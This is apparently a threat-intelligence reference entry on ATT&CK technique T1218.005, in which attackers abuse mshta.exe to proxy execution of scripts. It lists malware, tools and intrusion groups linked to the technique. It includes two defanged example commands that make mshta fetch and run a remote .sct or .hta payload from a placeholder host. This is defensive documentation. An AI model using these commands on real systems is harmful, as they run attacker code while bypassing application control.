# TTP Detail – T1218.005

## TTP Information

Name: Mshta

Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>

They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

## Threat-Mapped Scoring

Score: 0.0

Priority: Unclassified

## Kill Chain Phases

**•** mitre-attack: defense-evasion

## Malware

* BabyShark
* Lumma Stealer
* Metamorfo
* NanHaiShu
* POWERSTATS
* Pteranodon
* Revenge RAT
* Sibot
* Xbash

## Tools

* Covenant
* Koadic

## APTs (Intrusion Sets)

* APT29
* APT32
* APT38
* Confucius
* Earth Lusca
* FIN7
* Gamaredon Group
* Inception
* Kimsuky
* Lazarus Group
* LazyScripter
* MuddyWater
* Mustang Panda
* SideCopy
* Sidewinder
* TA2541
* TA551